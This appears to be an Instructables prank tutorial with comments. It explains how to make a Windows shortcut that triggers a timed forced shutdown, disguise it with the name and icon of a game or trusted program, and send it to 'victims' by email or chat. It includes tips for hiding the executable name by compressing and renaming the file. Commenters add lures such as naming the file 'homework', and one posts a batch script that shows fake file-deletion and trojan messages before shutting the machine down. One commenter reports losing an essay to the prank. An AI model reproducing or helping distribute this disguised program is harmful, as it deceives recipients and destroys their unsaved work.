Introduction: Fake Virus!!!

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Want to prank your friends and shutdown their computer? Look here to see how. NOTE:it just shuts down it doesn't kill memory, programs, ETC. this is my second instructable!!!
any tips for me? please comment. thanks!

Step 1: Start

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Ok if you want to be as diabolical and evil as me, here is what you do. First, right click on your desktop and click new shortcut

Step 2: Type Location of the Program

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Ok, now you must type the location of the program. there should be a blank new icon and another window shall open. in the text box within the window type...

shutdown (space) -s (space) -t (space) (seconds you want to give the person before their computer starts to shutdown) (space) -c (space) (start quotation mark) (message you want to give them when the countdown sequence is running) (end quotation marks)

after that press the next button.

Step 3: Name the Program

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Now it should ask you to name the icon. the name will show up to whoever you send it to and it will also be seen on your desktop. if this is for a prank that you will send to someone else then i suggest you name it like a game or a real program. NOTE:you will need to be able to find the picture of the game/program you say later. so if you put Frogger (classic game) you will need to enter the CD and apply it as the picture for the shortcut

Step 4: Changing the Shortcut Icon

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Now, you must change the icon of the shortcut. right click on the icon and select properties.

Now click change properties. it is on the lower half of the screen. sorry about the pic being sideways. it just made it a bit clearer

then another window will open (pic is sideways again). click browse and look in your CD drive. there should be your game/program icon. click it and press ok. after you click ok it will return back to the last window. click ok on that one as well.

Step 5: Voila!!!

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Now your "Fake Virus" is done. all you have to do it send it to people through an instant messaging service, e-mail, ETC, and laugh hysterically. if you send it through an instant messaging service always watch them log off a few seconds later. its always hysterical.

*make the game/program sound convincing to the victim
*don't send it to people that would sue you
*send it to a friend or at least someone you know (much easier)

okay. i have gotten reports that in some methods of sending, the file name will say "shutdown.exe", thus giving it away. ive gotten some test results that compressing the file, then renameing it again, will allow it to say the name after you compressed it. remember to rename the shortcut as well beforehand because when they uncompress it they will still see the previous name.

any tips for me? please comment. thanks!

'''''want to know how to abort the shutdown program if you start the countdown? send an e-mail asking how to [] thats my e-mail address. if i posted the abort everyone will know and this wouldn't work on more people. plus, what would be the fun if i didnt trouble all of you to have to email me? heheheh'''''


GoWolves11 (author)2017-05-24

To make disguise it more, right click the SHORTCUT and change the icon.

Jason the marksman (author)2014-02-03

why did you use the shortcut?I had tried but my friend does escape the trap.

Unncalled (author)2013-07-30

doesent work for me

Unncalled (author)2013-07-30

nice trick

GrimReaperkill (author)2013-04-23

if you have windows and that didnt work just go to search for shutdown in your system 32 file copy and paste yourself a shortcut it wont say anything but everytime someone clicks it your comp will shutdown lol

GrimReaperkill (author)2013-04-23

shutdown -s -t 30 shutdown -c "you have been hacked!" this is actually how it should look when you put it in the shortcut and the 30 can be any amount of seconds you want and where it says you have been hacked you can write any thing you want in the quotes for a abort shutdown short cut just type. shutdown -a And then next and the short cut is made i suggest changing icon to somthing else example your internet explorer and i would change the name to your internet explorers name and nobody can mess around on your computer if you forget to shut it down lol teach them or if you do it for a work program for a nice boss who would allow it lol

imayet (author)2011-12-06

does not work

Ds HaKa (author)2008-04-30

i made it look like the real internet explorer icon and hid the actual real one!

kneecaps (author)Ds HaKa2008-04-30

thats nice. show a pic? lol

Ds HaKa (author)kneecaps2011-11-29

a little delayed but all I did was make a fake one, rename it to "Internet Explorer", and put it where the actual IE icon used to be. I don't think a pic would help much...

MertDemir (author)2011-10-12

İt is vrey simple then. İt is already on your computer in system 32. And it is an app like .exe
You can search by start button.

07855 (author)2010-04-01

If u type 'shutdown -a' in cmd it will close

tried (author)078552011-08-26

how u dose send it to a friend

07855 (author)tried2011-08-29

mail, skype... etc.

kree1 (author)078552011-09-07

can you explain it a bit how to send it?

07855 (author)kree12011-09-07

Use and rename your file to something like homework, there you go :)

fabsy333 (author)2011-06-11

If you are running Windows 7 or Windows Vista, instead of the timer, it says what time you've done AND it says the message. For example for the Windows 7\Windows Vista people, it says: 20 seconds till shutdown. %message%. There is NO timer. It just says how much time you've puttin.

blacklistspy (author)2010-09-13

how does it works.????

spiderfurby (author)2010-06-02

Windows Vista :-( this is a good trick but it falls over if you try to send it via email. When you attach the the shortcut to your email for some dumb and stupid reason the email client also attaches the executable. Grrr. Of course this in turn is detectable via virus checker. The element of surprise is muted when you send attachments that are compressed.
By common sense the shortcut should be the only file that is sent. Try to send a shortcut to a directory of photo's and that is all you get a shortcut and no photo's as you would expect. But point the shortcut to an executable or batch file and the rotten  shortcut once attached wants to send the file as well - go figure. When it come to compression unless it is a self uncompressed file (usually with an executable extension)  the element of surprise is lost.
As I found out not everyone is a rocket scientists. The mood of the joke is destroyed when you get a telephone call asking how to unzip a file. Or how to rename a file.
With that in mind has anyone found a work around that will allow a shortcut to be sent with out having the executable being attached.

knex_mepalm (author)2010-04-27

 You harmed me, some guy set this to run and I lost my 4000 word essay which was due tomorrow, good thing I saved at 1500 words. GEEZ, I blame you. Now I can sue you since you have no disclamer. See you in Court.

Perkie (author)2007-10-22

when the virus file is on your desktop right click and and choose send to compressed file, make sure you name the main file like(RedSox ALCS Pics) and after it is compressed do the same name.....Have fun

kneecaps (author)Perkie2007-10-22

what does this do? allow it to send easier? or make it open when the file is unziped?

Cartuner55 (author)kneecaps2008-05-30

no its a baseball team... supposed to make it so RedSox fans will open it

badboy2k9 (author)Cartuner552010-01-16


hq (author)2007-07-16

how do you send a virus in a email? i have gmail and it wont let me!

badboy2k9 (author)hq2010-01-16


kneecaps (author)hq2007-07-16

did u put it on as an attachment? i dont have gmail so i dont know

badboy2k9 (author)2010-01-16

you cant even  send it man,please give me more info

Benwolfe91 (author)2009-09-12

That ways alright but i have one a thousand times better. open your notepad and copy and paste the following @echo off color 0f REM: This and the following commands won't be shown on the console. REM: Now the console's color is green text on black screen. Scary! echo Deleting Critical System Files... REM: Everything that starts with "echo" is printed at the screen. REM: It is _not_ really done! echo del *.* ping -n 4>nul REM: Unfortunately there is no command to stop the programm for a few seconds. REM: But this would be cool, because the user needs time to read the output and REM: it must look like the computer is working on the things we "echo"'d above. REM: So what the above command does is: Sending four "pings" at itself. REM: Each ping lasts one second. So it's the best way to wait for four seconds. REM: The output of ping is redirected to nowhere (>nul) so it isn't shown anywhere echo Deletion Successful ping -n 2>nul REM: You can set the number of pings by changing the number behind the "-n" echo: REM: "Echo:" makes an empty line. (Like a break) echo: echo Deleting Root Partition... ping -n 2>nul echo del %SYSTEMROOT% ping -n 4>nul echo Deletion Successful ping -n 2>nul echo: echo: echo WARNING: Trojan File download Started echo cd C:\Documents and Settings\All Users\Start Menu\Programs\ ping -n 1>nul echo mkdir h4x ping -n 3>nul echo Trojan virus "juggarnaut" download complete echo: echo: echo Windows Vista ROM: /deleted ping -n 3>nul echo start hax.exe ping -n 3>nul echo SYNtax ERROR: all files corrupt echo: echo: ping -n 2>nul echo Disabling Windows Firewall... ping -n 2>nul echo Total system MALfunction ping -n 2>nul echo Allowing virus to boot from startup... ping -n 2>nul echo: echo: echo Deleting C: Hard drive/ documens / castlerp ping -n 2>nul shutdown -s -t 10 -c "FATAL ERROR: system malfunction in process." STOP: Dont copy this after you copy this in your notepad save it as fakevirus.bat dont forget the .bat, it turns it into a batch file. after this open your notepad again, click file, and the open, remember to open (all files) and find the fake virus you made, it will have a picture of gears on it, right click it and send it to your desktop. Once it is on your desktop right click it and click properties, then in the (combatibility) tab, check (run in 256 colors) and check (run in 640x480). this will give it the effect that your desktop is messing up, eventhough this is harmless. your computer will log off and shutdown like the one your explaining, but mine will give messages that a virus is deleting their whole harddrive. you can then change its icon and trick your friends even better. hope you like it!

iKIA (author)2009-09-03

it works. a friend did it in our computer class

Khazza (author)2009-08-27

Does this really work?? Or is this a scam for our PC's

Radobot (author)2009-08-07

Does anybody know how it works?
If no, then I have a account:
So, in every windows is a program that can shutdown, reboot computer or log you off.
To shotdown (or reboot...) computer windows is using this program.
And with that shortcut you are telling that program to shutdown.
P.S. If you use instead -s (like shutdown) -r computer will reboot (or -l to log you off).

Radobot (author)Radobot2009-08-07

That program is in: C:\Windows\System32\shutdown.exe

li789 (author)2009-06-27

I put the fake virus in an sd card. it still works

puffyfluff (author)2008-06-08

Do you know about Print Screen? It takes a picture of your screen, and you don't need a camera. Just press print screen on your keyboard. The go into a program like Word or Publisher. Then paste.

kneecaps (author)puffyfluff2008-11-09

yeah i was lazy

max53389 (author)kneecaps2009-06-18

It would of been easier to use prt scrn button

puffyfluff (author)kneecaps2008-11-09

Oh. I see.

Not really...

danielstern96 (author)2009-06-07

ughhh! it works on my computer but i cant find the cd- drive so i dont know how to send it to other people. someone please help me with this....

Shifrin (author)2007-11-22

Who the hell do you think you are i'm gonna give it to u

jrgcool35 (author)Shifrin2007-11-22

HAHAHAHA! I've done this already to myself 15 tiems lololololol it does NOTHING to mine! xD Like you will ever be able to get on my comp.

MODX (author)jrgcool352008-05-27

20 bucks says I could hack your computer in under 5 1/2 minutes. Dare test me

Microsoft Toll Booth


iBurn (author)MODX2009-03-15

I test you. Now do us all a favor and unplug your power supply.

jrgcool35 (author)MODX2008-06-09

Maybe you should try getting that site back up and then I might be afraid.

ll.13 (author)MODX2008-05-29

Done. I'll give you 50 GBP, that'll exchange at $100, You've got to change my wallpaper, and post a screenshot.

whatsisface (author)ll.132008-05-29


jrgcool35 (author)Shifrin2007-11-22

Your gonna give me what?

jrgcool35 (author)2007-03-18

DO NOT DO THIS!!! or do it at your own risk. I really messed up my friends computer with this. Dont try to sedn this to people or that same thing will happen -.-

iBurn (author)jrgcool352009-03-15

Then you did something wrong. All it does is turn off your computer...

kneecaps (author)jrgcool352007-03-18

what? its just a shutdown shortcut. it doesn't spread, delete memory, or screw you computer in anyways (other than turning it off if thats what you call screwing). if it did delete memory its because his computer was on the verge of crashing.

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